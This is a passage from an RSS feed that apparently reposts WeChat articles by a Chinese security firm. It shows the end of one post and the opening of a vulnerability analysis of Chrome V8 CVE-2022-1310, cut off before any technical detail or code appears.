none;">攻防局面</span>，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">墨云将一直</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">专注人工智</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">能在攻防安全领域的应用研究，打造智</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">能化产品体系，为</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">用户</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">提供全方位的信息安全服务。</span></p><p style="margin: 0.8em 0px;padding: 0px;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><br/></span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px 4px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p data-mid="" style="margin: 0px;padding: 0px 16px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin: 16px 0px 14px;padding: 0px;outline: 0px;font-weight: 400;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484767&amp;idx=1&amp;sn=ae1a98f8951112067d4688d57677f58d&amp;chksm=c0ddff2ef7aa76380e2a7bf47b0932036aa82d3d79d0a3ab51012cf07bd015f005b0bdda0995&amp;scene=21#wechat_redirect" textvalue="Chrome V8命令执行漏洞（CVE-2022-1310）分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">Chrome V8命令执行漏洞（CVE-2022-1310）分析</span></a></h1><h1 style="margin: 16px 0px 14px;padding: 0px;font-weight: 400;font-size: 22px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484734&amp;idx=1&amp;sn=cd777218ab931ba4fc520d5c4de058cb&amp;chksm=c0ddff4ff7aa7659b6175e495f1873ade8b2fca77969eb3b6d41c9e87f1a2d797c2bf414f7f0&amp;scene=21#wechat_redirect" textvalue="基于深度学习的主机操作系统识别" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="margin: 0px;padding: 0px;color: rgb(87, 107, 149);text-decoration: none;outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于深度学习的主机操作系统识别</span></a></h1><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484650&amp;idx=1&amp;sn=9126c288f84d1d3d1e9e9a7d4410ef06&amp;chksm=c0ddfe9bf7aa778d734df0b7fa1e4c9aaaa9c753f048f88756172e0d9d78c57080a5c99fcda9&amp;scene=21#wechat_redirect" textvalue="一种快速的无代替模型的黑盒对抗攻击算法SurFree " linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 22px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">一种快速的无代替模型的黑盒对抗攻击算法SurFree </span></a></p><section style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png&amp;wx_head=1" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="27" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2"></mp-common-profile></section><section style="margin: 15px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin: 5px 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;">↓</span>↓点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d6d05ae2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484806%26idx%3D1%26sn%3Dc9de71d7e2e645d5dcce48da185c4014%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Aug 2022 19:04:00 +0800</pubDate>
    </item>
    <item>
      <title>Chrome V8命令执行漏洞（CVE-2022-1310）分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484767&amp;idx=1&amp;sn=ae1a98f8951112067d4688d57677f58d</link>
      <description>本文简单介绍V8的垃圾回收机制，然后结合具体漏洞PoC代码分析漏洞成因。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab</span> <span>2022-07-14 19:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文简单介绍V8的垃圾回收机制，然后结合具体漏洞PoC代码分析漏洞成因。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2aabfd97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7lRf77nuVOBmL3DnWCXKz3Gko0WGbzpaOJypGkuE797fw5Av2MibIVzA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">V-lab实验室</span></strong></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></section><section style="margin: 0px 8px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-type="gif" data-w="128" data-width="10%" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-size: 16px;letter-spacing: 0.544px;widows: 1;visibility: visible !important;width: 67.691px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin: 0px 8px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><br/></section><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 25.5px;text-align: left;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 28px;white-space: pre-wrap;visibility: visible;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">Google于2022年4月11日更新了Chrome的100.0.4896.88，其中修复了由@btiszka在3月18日报告的正则表达式模块的UAF漏洞；6月28日，Google纰漏了该漏洞的具体细节，目前该漏洞已被修复并公开了技术细节，本文将从技术角度分析漏洞的成因和修复方式。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: 